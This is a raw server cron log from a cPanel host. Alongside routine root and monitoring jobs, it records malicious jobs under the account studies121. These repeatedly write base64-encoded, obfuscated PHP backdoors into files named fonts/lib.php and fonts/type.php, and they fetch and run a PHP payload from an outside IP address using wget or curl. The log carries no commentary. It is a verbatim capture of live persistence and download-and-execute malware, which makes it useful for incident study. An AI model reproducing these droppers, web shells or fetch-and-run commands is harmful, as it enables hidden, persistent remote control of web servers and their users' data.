Sep  2 11:13:02 ip-184-168-122-23 CROND[4125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:13:02 ip-184-168-122-23 CROND[4124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:13:02 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:13:02 ip-184-168-122-23 CROND[4123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:14:01 ip-184-168-122-23 CROND[4305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:14:01 ip-184-168-122-23 CROND[4308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:14:01 ip-184-168-122-23 CROND[4307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:14:01 ip-184-168-122-23 CROND[4309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:14:01 ip-184-168-122-23 CROND[4310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:15:01 ip-184-168-122-23 CROND[4436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:15:01 ip-184-168-122-23 CROND[4435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:15:01 ip-184-168-122-23 CROND[4437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:15:01 ip-184-168-122-23 CROND[4434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:15:01 ip-184-168-122-23 CROND[4438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:15:01 ip-184-168-122-23 CROND[4439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:16:01 ip-184-168-122-23 CROND[4616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:16:01 ip-184-168-122-23 CROND[4619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:16:01 ip-184-168-122-23 CROND[4618]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:16:01 ip-184-168-122-23 CROND[4620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:16:01 ip-184-168-122-23 CROND[4622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:16:01 ip-184-168-122-23 CROND[4621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:17:01 ip-184-168-122-23 CROND[4861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:17:01 ip-184-168-122-23 CROND[4863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:17:01 ip-184-168-122-23 CROND[4865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:17:01 ip-184-168-122-23 CROND[4864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:18:01 ip-184-168-122-23 CROND[4990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:18:01 ip-184-168-122-23 CROND[4992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:18:01 ip-184-168-122-23 CROND[4993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:18:01 ip-184-168-122-23 CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:18:01 ip-184-168-122-23 CROND[4995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:19:01 ip-184-168-122-23 CROND[5192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:19:01 ip-184-168-122-23 CROND[5191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:19:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:19:01 ip-184-168-122-23 CROND[5194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:20:01 ip-184-168-122-23 CROND[5332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:20:01 ip-184-168-122-23 CROND[5335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:20:01 ip-184-168-122-23 CROND[5340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:21:01 ip-184-168-122-23 CROND[5462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:21:01 ip-184-168-122-23 CROND[5464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:21:01 ip-184-168-122-23 CROND[5463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:21:01 ip-184-168-122-23 CROND[5466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:22:01 ip-184-168-122-23 CROND[5644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:22:01 ip-184-168-122-23 CROND[5646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:22:01 ip-184-168-122-23 CROND[5647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:22:01 ip-184-168-122-23 CROND[5648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:22:01 ip-184-168-122-23 CROND[5649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:23:01 ip-184-168-122-23 CROND[5777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:23:01 ip-184-168-122-23 CROND[5779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:23:01 ip-184-168-122-23 CROND[5780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:23:01 ip-184-168-122-23 CROND[5781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:24:01 ip-184-168-122-23 CROND[5991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:24:01 ip-184-168-122-23 CROND[5992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:24:01 ip-184-168-122-23 CROND[5993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:24:01 ip-184-168-122-23 CROND[5998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:24:01 ip-184-168-122-23 CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:25:01 ip-184-168-122-23 CROND[6113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:25:01 ip-184-168-122-23 CROND[6115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:25:01 ip-184-168-122-23 CROND[6116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:25:01 ip-184-168-122-23 CROND[6117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
